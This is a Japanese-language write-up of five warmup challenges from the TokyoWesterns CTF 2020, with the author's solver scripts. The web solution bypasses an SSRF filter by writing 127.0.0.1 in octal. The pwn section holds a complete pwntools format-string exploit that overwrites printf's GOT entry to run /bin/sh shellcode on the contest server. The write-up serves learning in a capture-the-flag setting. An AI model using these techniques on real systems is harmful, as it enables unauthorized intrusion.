TokyoWesterns CTF 6th 2020 Write-up
2020/09/19 09:00 JST - 09/21 09:00 JST (48H) に開催されたCTFのWrite-upです。 チーム名: whitecatsで出場して469pt. 全体101位でした。warmupだけで終わった感。
- mask [misc]
- urlcheck v1 [web] [warmup]
- Reversing iS Amazing [reversing] [warmup]
- easy-hash [crypto] [warmup]
- nothing more to say 2020 [pwn] [warmup]
mask [misc]
192.168.55.86/255.255.255.0 192.168.80.198/255.255.255.128 192.168.1.228/255.255.255.128 192.168.90.68/255.255.254.0 192.168.8.214/255.255.255.128 192.168.5.197/255.255.255.128 192.168.71.90/255.255.255.0 192.168.62.55/255.255.255.192 192.168.78.209/255.255.255.128 192.168.76.216/255.255.255.128 192.168.91.202/255.255.255.128 192.168.93.108/255.255.255.0 192.168.74.76/255.255.254.0 192.168.10.88/255.255.254.0 192.168.82.236/255.255.255.128 192.168.13.246/255.255.255.128 192.168.99.228/255.255.255.128 192.168.68.83/255.255.252.0 192.168.23.113/255.255.255.192 192.168.52.113/255.255.255.192 192.168.69.99/255.255.255.0 192.168.19.114/255.255.255.192 192.168.53.236/255.255.255.128 192.168.90.117/255.255.254.0 192.168.35.90/255.255.255.0 192.168.91.121/255.255.255.0 192.168.48.49/255.255.255.192 192.168.27.104/255.255.255.0 192.168.98.204/255.255.255.128 192.168.93.87/255.255.255.0 192.168.44.113/255.255.255.192 192.168.40.104/255.255.248.0 192.168.25.227/255.255.255.128 192.168.57.50/255.255.255.192 192.168.97.115/255.255.255.0 192.168.30.47/255.255.255.192 192.168.10.102/255.255.254.0 192.168.51.209/255.255.255.128 192.168.82.125/255.255.255.192 192.168.72.125/255.255.255.192
ネットマスク付きのIPv4アドレスの一覧が問題文として与えられた。たぶんホスト部がASCII範囲になるだろうと抜き出して繋げたらBase64文字列ぽくなったので、デコードしたらフラグがでてきた。
# -*- coding: utf-8 -*- import base64 text = '''192.168.55.86/255.255.255.0 192.168.80.198/255.255.255.128 192.168.1.228/255.255.255.128 192.168.90.68/255.255.254.0 192.168.8.214/255.255.255.128 192.168.5.197/255.255.255.128 192.168.71.90/255.255.255.0 192.168.62.55/255.255.255.192 192.168.78.209/255.255.255.128 192.168.76.216/255.255.255.128 192.168.91.202/255.255.255.128 192.168.93.108/255.255.255.0 192.168.74.76/255.255.254.0 192.168.10.88/255.255.254.0 192.168.82.236/255.255.255.128 192.168.13.246/255.255.255.128 192.168.99.228/255.255.255.128 192.168.68.83/255.255.252.0 192.168.23.113/255.255.255.192 192.168.52.113/255.255.255.192 192.168.69.99/255.255.255.0 192.168.19.114/255.255.255.192 192.168.53.236/255.255.255.128 192.168.90.117/255.255.254.0 192.168.35.90/255.255.255.0 192.168.91.121/255.255.255.0 192.168.48.49/255.255.255.192 192.168.27.104/255.255.255.0 192.168.98.204/255.255.255.128 192.168.93.87/255.255.255.0 192.168.44.113/255.255.255.192 192.168.40.104/255.255.248.0 192.168.25.227/255.255.255.128 192.168.57.50/255.255.255.192 192.168.97.115/255.255.255.0 192.168.30.47/255.255.255.192 192.168.10.102/255.255.254.0 192.168.51.209/255.255.255.128 192.168.82.125/255.255.255.192 192.168.72.125/255.255.255.192 ''' mask = text.split() ans = '' for m in mask: ip, netmask = m.split('/') print(ip, netmask) ip = ip.split('.') nm = netmask.split('.') # ホスト部を繋いで、4byteの整数値に変換 t = 0 for i in range(4): tmp = int(ip[i]) & ~(int(nm[i])) t += tmp << ((3 - i) * 8) print(t, chr(t)) ans += chr(t) print(ans) print(base64.b64decode(ans)) ''' VFdDVEZ7QXJlLXlvdS11c2luZy1hLW1hc2s/fQ== b'TWCTF{Are-you-using-a-mask?}' '''
Flag: TWCTF{Are-you-using-a-mask?}
urlcheck v1 [web] [warmup]
find the flag
http://urlcheck1.chal.ctf.westerns.tokyo/ urlcheck1.tar
SSRF問題。/check-status
に送信するURLをチェックを、そのコンテンツを返してくれる。IPv4アドレスがローカルアドレス(127.0.0.1)だとadmin-status
にアクセスしてフラグが表示される。チェック関連の処理を抜き出すと以下の処理が関係する。
app.re_ip = re.compile('\A(\d+)\.(\d+)\.(\d+)\.(\d+)\Z') def valid_ip(ip): matches = app.re_ip.match(ip) if matches == None: return False ip = list(map(int, matches.groups())) if any(i > 255 for i in ip) == True: return False # Stay out of my private! if ip[0] in [0, 10, 127] \ or (ip[0] == 172 and (ip[1] > 15 or ip[1] < 32)) \ or (ip[0] == 169 and ip[1] == 254) \ or (ip[0] == 192 and ip[1] == 168): return False return True @app.route('/admin-status') def admin_status(): if flask.request.remote_addr != '127.0.0.1': return '🥺' return app.flag @app.route('/check-status') def check_status(): url = flask.request.args.get('url', '') if valid_ip(urlparse(url).netloc) == False: return '🥺' return get(url)
正規表現でのIPv4アドレス形式チェックと10進数でのローカルIPv4アドレスのチェック処理がある。URLは8進数やらなんやらIPv4アドレスの扱いが寛大だったと思うので、8進数で先頭の127を置き替えたらいけた。
チェックしてもらったURLはhttp://0177.0.0.1/admin-status
Flag: TWCTF{4r3_y0u_r34dy?n3x7_57463_15_r34l_55rf!}
Reversing iS Amazing [reversing] [warmup]
opensslを利用したRSAの暗号化処理をしている。コマンドラインの引数で文字列を渡すと、秘密鍵での暗号化後、フラグ文字列の暗号文と一致するかどうかの確認をされる。
秘密鍵は0xE11~0xE2Aのrep movsq
処理で.rodata
セクションからコピーされているので、そこから抜き出す。
# -*- coding: utf-8 -*- from pwn import * elf = ELF('./rsa') start_idx = 0xa91 - 0x960 end_idx = 0xe11 - 0x960 text = elf.section('.text')[start_idx:end_idx] text = [text[i] for i in range(6, len(text), 7)] enc_flag = b''.join(map(lambda x: x.to_bytes(1, 'little'), text)) print(enc_flag) print(len(enc_flag)) start_idx = 0x1100 - 0x010a0 seed = elf.section('.rodata')[start_idx:start_idx+(0x4c*8)] print(seed) print(len(seed)) with open('seed.dat', 'wb', buffering=0) as prv_file: prv_file.write(seed) with open('encrypted_flag', 'wb', buffering=0) as prv_file: prv_file.write(enc_flag)
あとは抜き出したデータを利用して復号処理を書く。rsaのバイナリでは、opensslの以下の関数を利用していたので、最後のRSA_private_encrypt
をRSA_public_decrypt
にしたらうまく復号できた。
#include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <openssl/bio.h> #include <openssl/evp.h> #include <openssl/err.h> #include <openssl/rsa.h> #include <openssl/engine.h> int main(int argc, void *argv[]) { char buf[1024] = {0}; char buf_eflag[1024] = {0}; char err_buf[256]; int fd; int rc; int seed_len, eflag_len; fd = open("seed.dat", O_RDONLY); if (fd == -1) { puts("Error: can not open file."); return -1; } rc = read(fd, buf, 0x260); printf("rc: %d\n", rc); seed_len = rc; close(fd); fd = open("encrypted_flag", O_RDONLY); if (fd == -1) { puts("Error: can not open file."); return -1; } rc = read(fd, buf_eflag, 128); printf("rc: %d\n", rc); eflag_len = rc; close(fd); // RSA BIO *bio; bio = BIO_new_mem_buf(buf, seed_len); if (!bio) { puts("Error: bio error."); return -1; } EVP_PKEY *pkey = NULL; EVP_PKEY *ptr; ptr = d2i_PrivateKey_bio(bio, &pkey); if (ptr == NULL) { printf("Error: %s\n", ERR_error_string(ERR_get_error(), err_buf)); return -1; } RSA *rsa; rsa = EVP_PKEY_get1_RSA(pkey); if (rsa == NULL) { printf("Error: %s\n", ERR_error_string(ERR_get_error(), err_buf)); return -1; } FILE *fp; fp = fopen("tmp_rsa.dat", "wb"); RSA_print_fp(fp, rsa, 0); fclose(fp); char buf_dflag[1024] = {0}; RSA_public_decrypt(128, buf_eflag, buf_dflag, rsa, 1); printf("%s\n", buf_dflag); return 0; }
実行結果
$ gcc -o solve solve.c -lssl -lcrypto $ ./solve rc: 608 rc: 128 TWCTF{Rivest_Shamir_Adleman}
flag: TWCTF{Rivest_Shamir_Adleman}
easy-hash [crypto] [warmup]
ソースコード: easy_hash.7z
ウェブサーバー: https://crypto01.chal.ctf.westerns.tokyo
初心者の方へ: ウェブサーバーとは curl コマンドを利用して通信することができます。
(例) $ curl https://crypto01.chal.ctf.westerns.tokyo -d 'twctf: hello 2020'
2文字入れ替えてもハッシュが変わらないので、先頭のplを入れ替えていけた
$ curl https://crypto01.chal.ctf.westerns.tokyo -d 'twctf: lpease give me the flag of 2020' Congrats! The flag is TWCTF{colorfully_decorated_dream}
flag: TWCTF{colorfully_decorated_dream}
nothing more to say 2020 [pwn] [warmup]
4連休楽しんでください!
nothing
nothing.c
nc pwn02.chal.ctf.westerns.tokyo 18247
nothing.cのソースコード。printfで表示される通り、Format String Bugがある。
// gcc -fno-stack-protector -no-pie -z execstack #include <stdio.h> #include <stdlib.h> #include <unistd.h> void init_proc() { setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); } void read_string(char* buf, size_t length) { ssize_t n; n = read(STDIN_FILENO, buf, length); if (n == -1) exit(1); buf[n] = '\0'; } int main(void) { char buf[0x100]; init_proc(); printf("Hello CTF Players!\nThis is a warmup challenge for pwnable.\nDo you know about Format String Attack(FSA) and write the exploit code?\nPlease pwn me!\n"); while (1) { printf("> "); read_string(buf, 0x100); if (buf[0] == 'q') break; printf(buf); } return 0; }
セキュリティ機構は特になし。NXも無効なのでprintfのGOTを上書きして、スタックに入れたshellcodeを実行しsystem関数で/bin/sh
を呼ぶようにした。
ソルバーは、以下の流れで処理。
%$41$p
をprintfで表示させ、stack上にあるargv[0]のアドレスを特定。逆算してbufの先頭アドレスをゲット- bufにshellcode + format string attackの文字列を格納。stackのアドレスに0x00があるので、format string attackの文字列 + 8byte調整のpadding + stackのアドレスという形にした
- 次の
printf(">");
されたときにstack上のshellcodeが実行されて、/bin/sh起動 - あとはlsして、cat flag.txtでフラグゲット
# -*- coding: utf-8 -*- from pwn import * import time def send_payload(conn, payload=b'', delim=b'>'): print('send:', payload) conn.send(payload + b'\r\n') data = conn.recvuntil(delim) print(data) return data[:-1] srv = 'pwn02.chal.ctf.westerns.tokyo' #srv = 'localhost' port = 18247 elf = ELF('./nothing') print(elf.got) got_printf = elf.got[b'printf'] print('got.printf', hex(got_printf)) conn = remote(srv, port) data = conn.recvuntil(b'>') print(data) # %6$p -> buf # $39$p -> __libc_start_main + 0xe7 # $41$p -> argv # $66$p -> *argv payload = b'%41$p' data = send_payload(conn, payload).split() print(data) argv0_addr = int(data[0], 16) buf_addr = argv0_addr - 0x1e8 # stackのargv[0]位置からbufの先頭アドレスを逆算 print('buf_addr', hex(buf_addr)) shellcode = b'\x31\xD2\x52\x48' shellcode += b'\xb8\x2f\x62\x69\x6e\x2f\x2f\x73' shellcode += b'\x68\x50\x48\x89\xe7\x52\x57\x48' shellcode += b'\x89\xe6\x48\x8d\x42\x3b\x0f\x05' print('buf addr', hex(buf_addr)) print(hex(int(buf_addr & 0xffffffff00000000))) print(hex(int(buf_addr & 0xffffffff))) buf_addr_high = (buf_addr & 0xffffffff00000000) >> 32 buf_addr_low0 = (buf_addr & 0xffff0000) >> 16 buf_addr_low1 = buf_addr & 0xffff idx_buf = 6 idx_high = 16 idx_low0 = 17 idx_low1 = 18 # create fsb code fsb_high = '%{}x%{}$n'.format(buf_addr_high - len(shellcode), idx_high) write_byte = buf_addr_high write_byte = (0x10000 + buf_addr_low0) - write_byte fsb_low0 = '%{}x%{}$hn'.format(write_byte, idx_low0) write_byte = 0x10000 + buf_addr_low0 write_byte = (0x20000 + buf_addr_low1) - write_byte fsb_low1 = '%{}x%{}$hn'.format(write_byte, idx_low1) code_len = len(shellcode) + len(fsb_high + fsb_low0 + fsb_low1) padding = '.' * ((idx_high - idx_buf) * 8 - code_len) code = fsb_high + fsb_low0 + fsb_low1 + padding code = shellcode + code.encode('utf-8') # send shellcode target_addr = got_printf print('send:', code + p64(target_addr +4) + p64(target_addr + 2) + p64(target_addr)) conn.sendline(code + p64(target_addr +4) + p64(target_addr + 2) + p64(target_addr)) conn.interactive() conn.close()
うーん汚い。もっとシンプルに書きたいので、他のWriteupを見て勉強しよ。
以上です。